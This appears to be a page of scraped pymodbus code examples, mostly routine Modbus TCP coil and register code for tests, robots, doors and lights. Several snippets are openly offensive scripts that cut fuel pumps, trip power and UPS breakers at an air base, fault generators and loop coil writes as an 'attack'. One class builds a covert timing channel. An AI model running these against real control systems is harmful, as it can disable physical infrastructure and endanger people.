Exemplo n.º 1
0
class TestMbTcpClass1(unittest.TestCase):
	read_values = range(0xAA50, 0xAA60)
	write_values = range(0xBB50, 0xBB60)
	
	def setUp(self):
		self.client = ModbusTcpClient(SERVER_HOST)
		self.client.connect()
		
	def tearDown(self):
		self.client.close()
		
	def test_write_single_holding_register(self):
		rq = self.client.write_register(8, 0xCC)
		self.assertEqual(rq.function_code, 0x06)
		rr = self.client.read_holding_registers(8, 1)
		self.assertEqual(rr.registers[0], 0xCC)
		rq = self.client.write_register(16, 0x00)
		self.assertEqual(rq.function_code, 0x86)
		rq = self.client.write_register(8, 0xAA58)
		
	def test_write_coil(self):
		rq = self.client.write_coil(0, True)
		self.assertEqual(rq.function_code, 0x05)
		
		rq = self.client.write_coil(0, False)
		self.assertEqual(rq.function_code, 0x05)
		
		rq = self.client.write_coil(256, False)
		self.assertEqual(rq.function_code, 0x85)
		
	def test_read_coil(self):
		coil_read_values = [True, False, True, False, False, True, False, False]
class ModbusTcpNode:
    def __init__(self):
        rospy.init_node("modbus_tcp_client_node", anonymous=True)
        rospy.Subscriber("/vacuum_gripper", Bool, self.callback)

        self.UNIT = 0x01
        self.client = ModbusClient("192.168.0.150", port=502)
        self.client.connect()
        rq = self.client.write_coil(0, False)
        rospy.loginfo("Initialize Modbus Tcp Node")

    def __del__(self):
        self.client.close()

    def callback(self, data):
        if data.data == True:
            rq = self.client.write_coil(0, True)
            rr = self.client.read_coils(0, 1, unit=self.UNIT)
        else:
            rq = self.client.write_coil(0, False)
            rr = self.client.read_coils(0, 1, unit=self.UNIT)

        if not rr.bits[0] == data.data:
            rospy.logerr("Failed to send the command. Please try agian")
        else:
            rospy.loginfo("Vaccum gripper is " +
                          ("activated" if data.data else "deactivated"))
Exemplo n.º 3
0
class ModbusModule():
    def __init__(self, io_module_name, ip):
        logger.debug('Creating new controller with name {} and address {}.'.format(io_module_name, ip))
        self.io_module_name = io_module_name
        self.ip_address = ip
        self.controller_type = CONTROLLER_TYPE.Modbus
        # build connection object
        self.client = ModbusClient(ip, port=config.DEFAULT_MODBUS_PORT)
        self.client.connect()

    def __del__(self):
        self.client.close()

    def __str__(self):
        return 'Controller "{}" at address {}'.format(self.io_module_name, self.ip_address)

    def get_bit(self, address):
        try:
            result = self.client.read_coils(address)
            bit_value = result.bits[0]
        except ConnectionException:
            logger.error('Could not connect to Modbus module "{}"!'
                         .format(self.io_module_name))
            bit_value = False
        return bit_value

    def set_bit(self, address, value):
        try:
            self.client.write_coil(address, value)
        except ConnectionException:
            logger.error('Could not connect to Modbus module "{}"!'
                         .format(self.io_module_name))
Exemplo n.º 4
0
class TestMbTcpClass1(unittest.TestCase):
    read_values = range(0xAA50, 0xAA60)
    write_values = range(0xBB50, 0xBB60)

    def setUp(self):
        self.client = ModbusTcpClient(SERVER_HOST)
        self.client.connect()

    def tearDown(self):
        self.client.close()

    def test_write_single_holding_register(self):
        rq = self.client.write_register(8, 0xCC)
        self.assertEqual(rq.function_code, 0x06)
        rr = self.client.read_holding_registers(8, 1)
        self.assertEqual(rr.registers[0], 0xCC)
        rq = self.client.write_register(16, 0x00)
        self.assertEqual(rq.function_code, 0x86)
        rq = self.client.write_register(8, 0xAA58)

    def test_write_coil(self):
        rq = self.client.write_coil(0, True)
        self.assertEqual(rq.function_code, 0x05)

        rq = self.client.write_coil(0, False)
        self.assertEqual(rq.function_code, 0x05)

        rq = self.client.write_coil(256, False)
        self.assertEqual(rq.function_code, 0x85)

    def test_read_coil(self):
        coil_read_values = [
            True, False, True, False, False, True, False, False
        ]
Exemplo n.º 5
0
def main():
    ur_ctrl = rtde_control.RTDEControlInterface(rsd_conf.UR_IP)
    ur_ctrl.moveJ(q.IDLE)

    ur_modbus_client = ModbusTcpClient(rsd_conf.UR_IP)
    ur_modbus_client.write_coil(16 + rsd_conf.IO_GRIPPER, False)

    pi_modbus_client = ModbusTcpClient(rsd_conf.PI_IP, rsd_conf.PI_MODBUS_PORT)

    def gripper_grasp(grasp_q, pre_post_q):
        ur_ctrl.moveJ(pre_post_q)
        ur_ctrl.moveJ(grasp_q)
        ur_modbus_client.write_coil(16 + rsd_conf.IO_GRIPPER, True)
        ur_ctrl.moveJ(pre_post_q)

    def gripper_release():
        ur_modbus_client.write_coil(16 + rsd_conf.IO_GRIPPER, False)

    order = {"blue": 0, "red": 0, "yellow": 20}
    for brick_color_id in range(len(rsd_conf.BRICK_COLORS)):
        brick_color = rsd_conf.BRICK_COLORS[brick_color_id]
        q_grasp_brick, q_above_brick = q.GRASP_BRICKS[
            brick_color_id], q.ABOVE_BRICKS[brick_color_id]

        count = order[brick_color]
        for _ in range(count):
            gripper_grasp(q_grasp_brick, q_above_brick)
            ur_ctrl.moveJ(q.ABOVE_CAMERA)
            pi_modbus_client.read_input_registers(0, 1)
            ur_ctrl.moveJ(q.BRICK_DROP_ORDER_BOX)
            gripper_release()

    ur_ctrl.moveJ(q.IDLE)
Exemplo n.º 6
0
 def testWriteCoilFalse(self):
     client = ModbusTcpClient("localhost", 502)
     client.write_coil(1, 1, unit=1)
     # Coil that is not 0 is True
     client.write_coil(1, 0, unit=1)
     result = client.read_coils(1, 1, unit=1)
     self.assertIs(result.bits[0], False)
     client.close()
Exemplo n.º 7
0
def write_via_tcp_modbus(address, state):
    try:
        client = ModbusTcpClient(IP_ADDRESS, port=502, timeout=10)
        client.write_coil(address, state)
        result = client.read_coils(address, 1)
        log.debug(result)
        client.close()
    except RuntimeError as err:
        log.debug(err)
Exemplo n.º 8
0
def basic_client():
    client = ModbusTcpClient(HOST, port=PORT)
    try:
        client.write_coil(1, True)
    except ConnectionException as err:
        print("Ensure you have a server running, error: %s" % err)
        return
    result = client.read_coils(1, 1, unit=UNIT)
    print("Result of read_coils is %s" % result.bits[0])
    client.close()
Exemplo n.º 9
0
class Client:
    def __init__(self):
        self.client = None
        self.handle = None
        self.ip = '127.0.0.1'
        self.port = 502

    def setup(self, config):
        self.handle = config
        self.ip = config['ipv4']['value']
        self.port = config['port']['value']
        self.client = ModbusTcpClient(self.ip, self.port)

    def execute(self, fc, addr, length=1, values=None):
        result = None
        if fc == 1:
            temp = self.client.read_coils(addr, length)
            result = []
            for i in range(temp.byte_count):
                t2 = temp.bits[i * 16:(i + 1) * 16]
                result.append(''.join([str(int(x)) for x in t2]))
        elif fc == 2:
            temp = self.client.read_discrete_inputs(addr, length)
            result = []
            for i in range(temp.byte_count):
                t2 = temp.bits[i * 16:(i + 1) * 16]
                result.append(''.join([str(int(x)) for x in t2]))
        elif fc == 3:
            temp = self.client.read_holding_registers(addr, length).registers
            result = ['{0:016b}'.format(x) for x in temp]
        elif fc == 4:
            temp = self.client.read_input_registers(addr, length).registers
            result = ['{0:016b}'.format(x) for x in temp]
        elif fc == 5:
            if values:
                self.client.write_coil(addr, values[0])
        elif fc == 6:
            if values:
                self.client.write_register(addr, values[0])
        elif fc == 15:
            if values:
                self.client.write_coils(addr, values)
        elif fc == 16:
            if values:
                self.client.write_registers(addr, values)
        return result

    def update_config(self, conf):
        self.ip = conf['ipv4']['value']
        self.port = conf['port']['value']
        self.client = ModbusTcpClient(self.ip, self.port)
        self.handle = conf

    def connect(self):
        return self.client.connect()
Exemplo n.º 10
0
def initdb():
    try:
        client = ModbusTcpClient(modbus_server_ip, modbus_server_port)
        for registre in range(0, 10):
            client.write_coil(registre, bool(randbits(1)), unit=UNIT)
            client.write_register(registre, bool(randbits(1)), unit=UNIT)
    except Exception as err:
        print('[error] Can\'t init the Modbus coils')
        print('[error] %s' % err)
        print('[error] exiting...')
        sys.exit(1)
Exemplo n.º 11
0
 def run(self):
     comm=server_addr[random.randint(0,len(serverlist)-1)]
     client = ModbusTcpClient(comm, self.port, source_address=(self.ipaddr,0), retries=1, retry_on_empty=True)
     while(not self.clientstop.is_set()):
         client.write_coil(1, True)
         print "coil write from:" + self.ipaddr + " --->" + comm 
         time.sleep(random.randint(0,3))
     print "stopping"
     client.socket.shutdown(1)
     client.close()
     return
Exemplo n.º 12
0
def fuel_system():
    """Take out fuel distribution system"""
    target = "10.150.1.101"
    print("""\nAttacking Fuel Distribution System!
AIN'T GOT NO GAS IN IT!!!\n""")
    client = ModbusClient(target)
    print(" [+] Turning off all fuel pumps")
    client.write_coil(8, False)
    client.write_coil(16, False)
    client.write_coil(24, False)
    print(" [+] Complete")
    sleep(1)
Exemplo n.º 13
0
def cycle_power():
    """Cause power fluctuations via UPS"""
    print("\nPower Surges at the AFB\n")
    for l in range(10):
        for j in range(101, 105):
            target = GEN_OCTETS + str(j)
            client = ModbusClient(target)
            print(" [+] Attacking ", target)
            print(" [+] Power On")
            client.write_coil(32, True)  # UPS
            sleep(2)
            client.write_coil(32, False)
            print(" [+] Power Off")
Exemplo n.º 14
0
class OpenPlcModbus:
    def __init__(self):
        self.plc = ModbusClient('localhost', port=502)

    def get_counter_value(self):
        request = self.plc.read_holding_registers(1024, 1)
        value = request.registers[0]
        return value

    def get_motor_status(self):
        request = self.plc.read_coils(0, 1)
        status = request.bits[0]
        return status

    def turn_on(self, action):
        if action:
            self.plc.write_coil(1, True)
        else:
            self.plc.write_coil(1, False)

    def turn_off(self, action):
        if action:
            self.plc.write_coil(2, True)
        else:
            self.plc.write_coil(2, False)

    def close(self):
        self.plc.close()
Exemplo n.º 15
0
class LightController(object):
    def __init__(self, host):
        self.client = ModbusTcpClient(host)

    def turn(self, id, option):
        if isinstance(option, bool):
            if isinstance(id, list):
                for item in id:
                    self.client.write_coil(item, option)
                return
            else:
                self.client.write_coil(id, option)
                return
        raise Exception
Exemplo n.º 16
0
def turn_states(host, port=MODBUS_PORT, state=False, uid=None):
    client = ModbusTcpClient(host, port)
    try:
        if uid is not None:
            client.write_coil(uid, state)
            result = client.read_coils(uid, 1)
            print('{:3d} : {}'.format(uid, _status(result.bits[0])))
        else:
            values = [state for _ in range(MAX_COILS_COUNT)]
            client.write_coils(0, values)
            result = client.read_coils(0, MAX_COILS_COUNT)
            for i in range(len(result.bits)):
                print('{:3d} : {}'.format(i, _status(result.bits[i])))
    finally:
        client.close()
Exemplo n.º 17
0
def power_grid():
    """Take out commercial power and UPS breaker"""
    print("""Watch Blue AFB go dark!
Get out your night vision, yo!""")
    for j in range(101, 105):
        target = GEN_OCTETS + str(j)
        print(" [+] Attacking ", target)
        print(" [+] Tripping Commercial Power and UPS Breaker")
        client = ModbusClient(target)

        # Trip the Commercial Power and UPS Breaker
        client.write_coil(16, False)  # Commercial power
        client.write_coil(32, False)  # UPS
        print(" [+] Complete")
        sleep(1)
Exemplo n.º 18
0
 def write_single_coil(self, command):
     parser = argument_parser()
     command = 'write_single_coil ' + command
     spec = parser.parse_args(command.split())
     response = _ModbusClient.write_coil(
         self, spec.address, spec.value, unit=spec.unit_id)
     return response
Exemplo n.º 19
0
def coil1set():
    print("coil 1 set")
    v.set("coilset")
    client = ModbusClient('localhost', port=502)
    rq = client.write_coil(0, True, unit=1)
    rq = client.write_register(0, 100)
    client.close()
Exemplo n.º 20
0
def gen_faults():
    """Shuts down emergency generators.

	'k' will complete the IP address for each PLC in the electrical distribution system. Each will be targeted by the
	attack:  10.100.1.101, 102, 103, and 104.
	"""
    for k in range(101, 105):
        target = GEN_OCTETS + str(k)
        print(" [+] Attacking ", target)
        print(" [+] Sending fault to generator")
        client = ModbusClient(target)
        result = client.read_coils(
            48, 1)  # Read status of each generator fault alarm
        if not result.bits[0]:  # If fault doesn't exist...
            client.write_coil(48, True)  # Set generator fault
        print(" [+] Complete")
        sleep(1)
Exemplo n.º 21
0
def ButtonUpdateThread(pin, update_interval, e):
	print 'ButtomUpdateThread'
	client = ModbusTcpClient(ip)
	
	# Setup pin mode
	GPIO.setup(pin, GPIO.IN)

	while True:
		if not e.isSet():
			pin_status = GPIO.input(pin)
			print status
			client.write_coil(20, pin_status)
			time.sleep(update_interval)
		else:
			break
	client.close()
	print 'Button Stopped'
Exemplo n.º 22
0
    def send(device, value):
        """
        This function writes a new value to a device of the given ip address.
        The value has to be a boolean. For example: True, to open the box by the motor (False -> close the box).
        """
        logger.debug(
            'send method with device: {device} and value = {value}'.format(
                device=str(device), value=str(value)))

        try:
            client = ModbusTcpClient(BOX_IP, port=502, timeout=10)
            client.write_coil(int(device), value['value'])
            result = client.read_coils(int(device), 1)
            logger.debug(result)
            client.close()
        except RuntimeError as err:
            logger.debug(err)
Exemplo n.º 23
0
def control_door_by_button():
    if 'open' in request.form:
        target_door = request.form['open']
        for i in door_data:
            if i['door'] == target_door:
                client = ModbusClient(i['address'], port=502)
                client.connect()

                client.write_coil(16 + i['channel'], True)
                time.sleep(0.5)
                client.write_coil(16 + i['channel'], False)
                time.sleep(0.5)

    elif 'close' in request.form:
        target_door = request.form['close']

    return redirect('/')
Exemplo n.º 24
0
def control_door():
    if 'name' in request.args:
        target_door = request.args['name']
        if 'ctrl' in request.args:
            if 'open' in request.args['ctrl']:
                for i in door_data:
                    if i['door'] == target_door:
                        client = ModbusClient(i['address'], port=502)
                        client.connect()

                        client.write_coil(16 + i['channel'], True)
                        time.sleep(0.5)
                        client.write_coil(16 + i['channel'], False)
                        time.sleep(0.5)
            else:
                pass
        else:
            pass

    return ''
Exemplo n.º 25
0
    def rotate_vertical_down(self):
        # Service for getting commands and modbus for sending commands
        registerService = RegisterMapping(3004, 1)
        client = ModbusClient(host='192.168.1.101',
                              port=3004,
                              timeout=1,
                              stopbits=1,
                              bytesize=8,
                              parity='N',
                              baudrate=9600,
                              framer=ModbusRtuFramer)
        register_coil = registerService.get_coil_by_name('0001')

        # Set motor speed
        register_speed = registerService.get_register_by_name('0002')
        speed_address = register_speed.get_integer_address()
        speed = int(50)
        try:
            client.connect()
            client.write_register(speed_address, speed, unit=1)
            client.close()
        except pymodbus.exceptions.ConnectionException:
            return "No device connected"

        # Set motor direction
        coil_direction = registerService.get_coil_by_name('0002')
        speed_address = coil_direction.get_integer_address()
        speed = int(1)
        client.connect()
        client.write_coil(speed_address, speed, unit=1)
        client.close()

        # Turn on motor
        on_switch = register_coil.get_integer_address()
        integer_value = int('1')
        client.connect()
        client.write_coil(on_switch, integer_value, unit=1)
        client.close()

        return "Turning down"
Exemplo n.º 26
0
def run_sync_client():
    client = ModbusClient('localhost', port=5020)
    client.connect()

    for i in range(5):
        log.debug("Reading Coils")
        client.read_coils(1, 1 + i, unit=UNIT)
        # first param - address: The starting address to read from
        # second param - count: The number of coils to read
        time.sleep(0.1)
        # 100ms przerwy między Reading Coils
        log.debug("Reading Coils")
        client.read_coils(2, 3 + i, unit=UNIT)
        time.sleep(0.1)

        log.debug("Write to a Coil")
        client.write_coils(1, 4, unit=UNIT)
        time.sleep(5)
        # 5s przerwy między write coils
        log.debug("Write to a Coil")
        client.write_coil(4, 3, unit=UNIT)
        time.sleep(5)

    # log.debug("Read discrete inputs")
    # client.read_discrete_inputs(0, 8, unit=UNIT)
    # # first param - The starting address to read from
    # # second param - The number of discretes to read
    #
    # log.debug("Write to a holding register and read back")
    # client.write_register(1, 10, unit=UNIT)
    # # first param - The starting address to write to
    # # second param - The value to write to the specified address
    #
    # log.debug("Read back")
    # client.read_holding_registers(1, 1, unit=UNIT)
    # # first param - The starting address to read from
    # # second param - The number of registers to read

    client.close()
Exemplo n.º 27
0
def start_gen():
    global speed
    global volts
    global freq
    #
    # Start Geneator
    # 0 to 1800 RPM in 3 seconds
    # broken into 100 millisecond segments
    #
    sleep(5)
    client = ModbusClient(target)
    for x in range(1, 31):
        speed = speed + 60
        freq = (speed * poles) / 120
        print(freq)
        y = int(freq)
        client.write_register(1, y)
        print(speed)
        client.write_register(0, speed)
        sleep(.1)
    #
    # Voltage Regulator begin excitation
    # 0 to 440 Volts in 2 seconds
    # Broken into 100 millisecond segments
    #
    for x in range(1, 21):
        volts = volts + 22
        print(volts)
        client.write_register(2, volts)
        sleep(.1)
    #
    # After generator comes up to speed and voltage,
    # breaker is shut (Coil address 3) and control
    # is given to run_gen() function.
    #
    client.write_coil(3, True)
    run_gen()
class TestFacilityModbusClient(object):
    """Modbus client to communicate with robot test facility using the pymodbus lib"""
    _client = None

    def _is_connection_open(self):
        if self._client is None:
            return False
        else:
            return True

    def open(self):
        if self._is_connection_open():
            return
        self._client = ModbusTcpClient('169.254.60.99', 502)
        self._client.connect()

    def close(self):
        if not self._is_connection_open():
            return
        self._client.close()
        self._client = None

    def read(self, start_register, end_register):
        if not self._is_connection_open():
            raise NoOpenConnection("No open connection to server")
        return self._client.read_coils(start_register, end_register)

    def write(self, register, value):
        if not self._is_connection_open():
            raise NoOpenConnection("No open connection to server")
        response = self._client.write_coil(register, value)

    def set_T1_IO_to(self, flag):
        self.write(_OPERATION_MODE_T1_REGISTER, flag)

    def set_T2_IO_to(self, flag):
        self.write(_OPERATION_MODE_T2_REGISTER, flag)

    def set_Auto_IO_to(self, flag):
        self.write(_OPERATION_MODE_AUTO_REGISTER, flag)

    def set_Emergency_IO_to(self, flag):
        self.write(_EMERGENCY_REGISTER, flag)

    def set_Acknowledge_IO_to(self, flag):
        self.write(_ACKNOWLEDGE_REGISTER, flag)

    def set_Enabling_IO_to(self, flag):
        self.write(_ENABLING_REGISTER, flag)
Exemplo n.º 29
0
class CovertActuator():
    def __init__(self, BIT_NUMBER=0, RESOLUTION=3):
        self.BIT_NUMBER = BIT_NUMBER
        self.client = ModbusTcpClient('127.0.0.1')
        self.encoded_message = []
        self.last_value = ''
        self.last_time = ''
        self.RESOLUTION = RESOLUTION

    def meausre_time(self):
        return self.last_time

    def set_value(self, value=True):
        self.last_time = int(str(
            time.time()).split('.')[1][:self.RESOLUTION]) % 2
        self.client.write_coil(self.BIT_NUMBER, value)
        if self.last_value != '' and self.last_value != value and self.last_value == True:
            # print ("Covert Actuator: \t", str(time.time()).split('.')[1][:3])
            self.encoded_message.append(
                str(time.time()).split('.')[1][:self.RESOLUTION])
        self.last_value = value

    def __del__(self):
        self.client.close()
Exemplo n.º 30
0
 def run_sync_client(self, addr, value, UNIT):
     """
     向数据采集器发送数据
     :param addr:
     :param value:
     :param UNIT:
     :return:
     """
     # UNIT = 0x01
     client = ModbusTcpClient(host=self.config['modbustcp']['host'],
                              port=self.config['modbustcp']["port"])
     client.connect()
     log.debug("Reading Coils")
     rq = client.write_coil(addr, value, unit=UNIT)
     assert (not rq.isError())  # test that we are not an error
     client.close()
Exemplo n.º 31
0
    def activate(self):
        rospy.init_node('niryo_node', anonymous=False)
        while not rospy.is_shutdown():
            if (self.activate_plc == "Activated"):
                rospy.loginfo(
                    "Niryo will do other action, PLC will be deactivated")
                self.pub.publish("plc_deactivate")
            else:
                rospy.loginfo(
                    "PLC hasn't been activated, Niryo will activate PLC")
                self.pub.publish("Activate_plc")
            client = ModbusClient("192.168.1.7", port=502)
            client.connect()
            UNIT = 0x1
            print("Escritura de salidas")
            rq = client.write_coil(0, [True] * 8, unit=UNIT)
            rr = client.read_coils(0, 8, unit=UNIT)
            print("Las salidas Q0.0-Q0.7 ", rr.bits)

            print("Leer entradas")
            rr = client.read_discrete_inputs(0, 8, unit=UNIT)
            print("Las entradas I0.0-I0.7 son ", rr.bits)
            print("Escritura de un HR")
            rq = client.write_register(0, 15, unit=UNIT)
            rr = client.read_holding_registers(0, 1, unit=UNIT)
            print("HR0 = ", rr.registers)
            print("Escritura de varios HR")
            rq = client.write_registers(1, [35] * 10, unit=UNIT)
            rr = client.read_holding_registers(1, 10, unit=UNIT)
            print("HR0 = ", rr.registers)
            print("Escritura de varios HR")
            rq = client.write_registers(11, [43] * 5, unit=UNIT)
            rr = client.read_holding_registers(0, 15, unit=UNIT)
            print("HR0 = ", rr.registers)
            client.close()
            rospy.sleep(1)
Exemplo n.º 32
0
def attack(attack_data):
    start = datetime.now()
    while True:
        os.system('clear')
        try:
            print(" EXIGENT ECHO PLATFORM v.1  ")
            print("     _.-^^---....,,--       ")
            print(" _--                  --_   ")
            print("<                        >) ")
            print("|                         | ")
            print(" \._                   _./  ")
            print("    ```--. . , ; .--'''     ")
            print("          | |   |           ")
            print("       .-=||  | |=-.        ")
            print("       `-=#$%&%$#=-'        ")
            print("          | ;  :|           ")
            print(" _____.,-#%&$@%#&#~,.______ ")
            print("=====ATTACKING=====")
            print("Attack Duration - {}".format((datetime.now() - start)))
            print("Targets:")
            for k, v in attack_data.items():
                #client = ModbusClient(k)
                #print("IP address - {} ".format(k))
                print(k)
            for k, v in attack_data.items():
                client = ModbusClient(k)
                for x, e in v['coils'].items():
                    if e[1].lower() == "y":
                        client.write_coil(int(x), True)
                        sleep(1)
                        client.write_coil(int(x), False)
                    if e[0].lower() == "true":
                        #print(x,True)
                        result = client.write_coil(int(x), True)
                    elif e[0].lower() == "false":
                        #print(x, False)
                        result = client.write_coil(int(x), False)
                    #result = client.write_coils(x, e)
        except KeyboardInterrupt:
            print("Cancelling Attack")
            return
Exemplo n.º 33
0
# module ET-7002
# control I/O
from pymodbus.client.sync import ModbusTcpClient

client = ModbusTcpClient('192.168.3.16', port=502, debug=True)
client.connect()

data1 = client.write_coil(0, False, unit=1)
print(data1)
data2 = client.write_coil(1, False, unit=1)
print(data2)
data3 = client.write_coil(2, False, unit=1)
print(data3)

counter1 = client.read_inputs(2, 1, unit=2)
print(counter1.bits[0])
client.close()
Exemplo n.º 34
0
#0: "Einmalige Warmwasserbereitung" AUS
#1: "Einmalige Warmwasserbereitung" EIN
#Fuer die "Einmalige Warmwasserbereitung" wird der Warmwassertemperatur-Sollwert 2 genutzt.
#CO-17
#coiss read write bolean
#register start 00000
#
file_string = '/var/www/html/openWB/ramdisk/smarthome_device_' + str(
    devicenumber) + '_viessmann.log'
file_stringpv = '/var/www/html/openWB/ramdisk/smarthome_device_' + str(
    devicenumber) + '_pv'
if os.path.isfile(file_string):
    f = open(file_string, 'a')
else:
    f = open(file_string, 'w')
print('%s devicenr %s ipadr %s ueberschuss %6d try to connect (modbus)' %
      (time_string, devicenumber, ipadr, uberschuss),
      file=f)
client = ModbusTcpClient(ipadr, port=502)
rq = client.write_coil(16, True, unit=1)
print(rq, file=f)
client.close()
print(
    '%s devicenr %s ipadr %s Einmalige Warmwasseraufbereitung aktiviert CO-17 = 1'
    % (time_string, devicenumber, ipadr),
    file=f)
f.close()
f = open(file_stringpv, 'w')
f.write(str(1))
f.close()
Exemplo n.º 35
0
class ModbusClient:
    connected = False

    def __init__(self, *kwargs):
        self.connect()

    def connect(self):
        """Open Modbus connection
        """
        if not self.connected:
            self.client = ModbusTcpClient("192.168.50.238", port=502)
            self.client.connect()
            self.connected = True

    def transfer_bahn_nr(self, nr):
        """Send the number to PLC
        
        :Parameters:
            `nr`: int
                number of bahn to build
        
        :Returns:
            bool, True if processing went well
        """
        # Write number into memory
        print "write number", nr
        rq = self.client.write_register(532, nr)
        # Set flag to true/false => PLC reads the value in memory
        rq = self.client.write_coil(8481, True)
        time.sleep(1)
        rq = self.client.write_coil(8481, False)
        return True

    def start_build(self):
        """Start the build process
        """
        rq = self.client.write_coil(8480, True)
        time.sleep(0.5)
        rq = self.client.write_coil(8480, False)

    def read_active_bahn(self):
        """Read the current loaded bahn from the PLC
        
        :Returns:
            int, Number of bahn which is currently loaded
        """
        rq = self.client.read_holding_registers(533, 1)
        return int(rq.registers[0])

    def is_machine_building(self):
        """
        :Returns:
            bool, True if machine is building
        """

    def send_array(self, array):
        """Send the array to PLC
        
        :Parameters:
            `array`: list
                list with dictionaries of cubes
            
        :Returns:
            bool, True if sending went well. 
        """
        if not self.connected:
            print ("You don't have an open Modbus connection! - please restart server!")
            return False
        # check array size
        AMMOUNT_OF_CUBES = 106
        c = 0
        for cube in array:
            c += 1
        if c != AMMOUNT_OF_CUBES:
            print ("Array size isn't suitable. - size is: " + str(c) + " but it should be:" + str(AMMOUNT_OF_CUBES))
            return False

        # write cubes into PLC
        lis = array
        c = 0
        for cube in lis:
            try:
                # write x
                rq = self.client.write_register(c, cube["x"])
                c += 1
                # write y
                rq = self.client.write_register(c, cube["y"])
                c += 1
                # write z
                rq = self.client.write_register(c, cube["z"])
                c += 1
                # write rot
                rq = self.client.write_register(c, cube["typ"])
                c += 1
                # write type
                rq = self.client.write_register(c, cube["rot"])
                c += 1
            except:
                print ("Can't send the cube data to PLC over Modbus")
        print ("Cubes sent to PLC")
        return True
Exemplo n.º 36
0
class Connection():
    def __init__(self, indicator_list, coil_on_list, coil_off_list, command_list, coil_list, port,
                 method="rtu", timeout=0.1, unit=0x01):
        self.unit = unit
        self.indicator_list = indicator_list
        self.coil_on_list = coil_on_list
        self.coil_off_list = coil_off_list
        self.coil_list = coil_list
        self.command_list = command_list
        self.lock = threading.Lock()
        if method == "rtu":
            self.client = ModbusSerialClient(method=method, port=port, baudrate=19200, stopbits=1, bytesize=8,
                                         timeout=timeout)
        elif method == "tcp":
            self.client = ModbusTcpClient(host=port)

    def translate(self, command):
        self.lock.acquire()
        self.client.connect()

        print self.client.connect()



# input registers
        if command.split("_")[0] == "IReg":
            rr = self.client.read_input_registers(self.indicator_list[command.split()[0]], 1, unit=self.unit)
            self.client.close()
            self.lock.release()
            return rr.getRegister(0)

# coils
        elif command.split("_")[0] == "Coil":
            if command.split()[0] in self.coil_on_list:
                wr = self.client.write_coil(self.coil_on_list[command.split()[0]], 1, unit=self.unit)
                rr = self.client.read_coils(self.coil_on_list[command.split()[0]], 1, unit=self.unit)
            elif command.split()[0] in self.coil_off_list:
                wr = self.client.write_coil(self.coil_off_list[command.split()[0]], 0, unit=self.unit)
                rr = self.client.read_coils(self.coil_off_list[command.split()[0]], 1, unit=self.unit)
            elif command.split()[0] in self.coil_list and len(command.split()) > 1 and \
                    command.split()[1].isdigit():
                wr = self.client.write_coil(self.coil_list[command.split()[0]], int(command.split()[1]),
                                            unit=self.unit)
                rr = self.client.read_coils(self.coil_list[command.split()[0]], 1, unit=self.unit)

            self.client.close()
            self.lock.release()
            return rr.getBit(0)


# holding registers
        elif command.split("_")[0] == "HReg":

            if len(command.split()) > 1 and command.split()[1].isdigit():
                wr = self.client.write_registers(self.command_list[command.split()[0]], [int(command.split()[1])],
                                                 unit=self.unit)
            rr = self.client.read_holding_registers(self.command_list[command.split()[0]], 1, unit=self.unit)
            self.client.close()
            self.lock.release()

            return rr.getRegister(0)

        else:
            print "Not correct command"
            self.lock.release()
            return "Not correct command"
Exemplo n.º 37
0
#---------------------------------------------------------------------------# 
client = ModbusClient('127.0.0.1')

#---------------------------------------------------------------------------# 
# example requests
#---------------------------------------------------------------------------# 
# simply call the methods that you would like to use. An example session
# is displayed below along with some assert checks. Note that some modbus
# implementations differentiate holding/input discrete/coils and as such
# you will not be able to write to these, therefore the starting values
# are not known to these tests. Furthermore, some use the same memory
# blocks for the two sets, so a change to one is a change to the other.
# Keep both of these cases in mind when testing as the following will
# _only_ pass with the supplied async modbus server (script supplied).
#---------------------------------------------------------------------------# 
rq = client.write_coil(1, True)
rr = client.read_coils(1,1)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits[0] == True)          # test the expected value

rq = client.write_coils(1, [True]*8)
rr = client.read_coils(1,8)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits == [True]*8)         # test the expected value

rq = client.write_coils(1, [False]*8)
rr = client.read_discrete_inputs(1,8)
assert(rq.function_code < 0x80)     # test that we are not an error
assert(rr.bits == [True]*8)         # test the expected value

rq = client.write_register(1, 10)
Exemplo n.º 38
0
class InModbus(ApplicationSession):
    """
    Checks the state of the relays of the lights (eshl/eshl.wago.v1.switch) and
    makes three different RPCs to toggle/switch on/switch off the lights available.
    """
    def __init__(self, config=None):
        ApplicationSession.__init__(self, config)
        self.pfcIp = '192.168.1.52'
        self.modbusTcpPort = 502
        self.client = ModbusClient(self.pfcIp, self.modbusTcpPort)

#==============================================================================
#   Generates a blank Dataset with the current system timestamp
#==============================================================================
    def blankDataSetGen(self):
        blankDataset = {'K16': None,
                        'K17': None,
                        'K18': None,
                        'K19': None,
                        'K20': None,
                        'K21': None,
                        'TimestampSYS' : round(time.time() * 1000)
                        }
        return blankDataset

    def requestLoop(self):
        try:
            if (self.client.connect() is False):
                print('not connected')
                self.client = self.client.connect()
                print('trying to connecto to ' + str(self.pfcIp))

            address = 0
            timestampSys = round(time.time() * 1000)

            result = self.client.read_coils(560, 6)
            relayState = {'K16': result.bits[0],
                           'K17': result.bits[1],
                           'K18': result.bits[2],
                           'K19': result.bits[3],
                           'K20': result.bits[4],
                           'K21': result.bits[5],
                           'TimestampSYS' : timestampSys}

            self.publish(u'eshl.wago.v1.switch', relayState)
        except ConnectionException as connErr:
            relayState = self.blankDataSetGen()
            self.publish(u'eshl.wago.v1.switch', relayState)
            print(str(connErr))
        except Exception as err:
            print("error: {}".format(err), file=sys.stdout)
            traceback.print_exc(file=sys.stdout)

    @inlineCallbacks
    def toggleSwitch(self, id):
        try:
            if (self.client.connect() is False):
                print('not connected')
                self.client.connect()
                print('trying to connecto to ' + str(self.pfcIp))

            print("toggleSwitch {}".format(id))

            id = int(id)

            if (id >= 16 and id <= 21):
                id = 32768 + (id - 16)
            elif (id == 0):
                id = 32768 + 6
            else:
                return "unknown switch"

            self.client.write_coil(id, 1)
            yield sleep(0.1)
            self.client.write_coil(id, 0)

            return "ok"
        except ConnectionException as connErr:
            return "connection error"
        except Exception as err:
            print("error: {}".format(err), file=sys.stdout)
            traceback.print_exc(file=sys.stdout)
            return "connection error"

    @inlineCallbacks
    def switchOn(self, id):
        try:
            if (self.client.connect() is False):
                print('not connected')
                self.client.connect()
                print('trying to connecto to ' + str(self.pfcIp))

            print("switchOn {}".format(id))

            id = int(id)
            state = False

            result = self.client.read_coils(560, 6)

            if (id >= 16 and id <= 21):
                id = (id - 16)
                if(result.bits[id] is False):
                    self.client.write_coil(32768 + id, 1)
